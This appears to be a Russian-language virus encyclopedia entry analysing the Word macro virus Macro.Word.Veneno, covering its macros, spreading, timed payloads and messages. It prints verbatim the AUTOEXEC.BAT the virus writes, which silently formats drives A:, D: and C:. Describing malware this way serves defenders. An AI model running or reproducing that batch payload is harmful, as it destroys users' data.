Энциклопедия компьютерных вирусов
Macro.Word.Veneno
Зашифрован, содержит 12 макросов: Veneno, Travel1, Travel2, AutoExec, AutoOpen, Trinitron, ArchivoAbrir, ArchivoSalir, InsertVeneno, ArchivoImprimir, ArchivoGuardarComo, ArchivoImprimirPredeter. Записывается в область глобальных макросов при открытии зараженного документа или запуске Word (AutoOpen, AutoExec), в документы записывается при их сохранении с другим именем(?) - макрос ArchivoGuardarComo. Удаляет макросы некоторых других вирусов. В 30 минут ровно создает на диске вирусный COM-файл и файл DIUR.BAT. В пятницу и субботу, если системное время меньше 5 минут, то добавляет в текст строку "** V<N<N0 **", заменяет последовательность "ste" на "stes" и устанавливает пароль на открытие документа: "Veneno". При печати, если показании счетчика системного времени более 57 секунд, вставляет в конец текста сообщение:
Finalmente me gustaria agregar que... El Centro de Computo de esta Universidad es una verdadera verguenza, no nos merecemos este servicio. >>> Shame on you!!! <<< <eof>
При заражение документа в 38 секунд выдается MessageBox:
Un amigo desesperado en busca de... Khelia Monica Salda~a Diaz, me encantas y te sigo buscando... +Donde te has escondido? Atte. Tu enamorado. (LoVe90/91)
В зависимости от датчика случайных чисел изменяет файлы:
AUTOEXEC.BAT:
@echo off PATH=C:\;C:\DOS;C:\WINDOWS;C:\ODI; Echo. Echo Insert a diskette in drive A: Echo Press any key to continue... pause > nul Format a: /autotest > nul if errorlevel 0 goto End Format d: /autotest Format c: /autotest Echo U r FuCkEd! Echo. :end Echo Ur mommy should be very happy of having such a g00d/obedient kid... jaja..asswipe!!!
CONFIG.SYS:
SHELL=C:\DOS\COMMAND.COM /F /P SWITCHES = /n /f
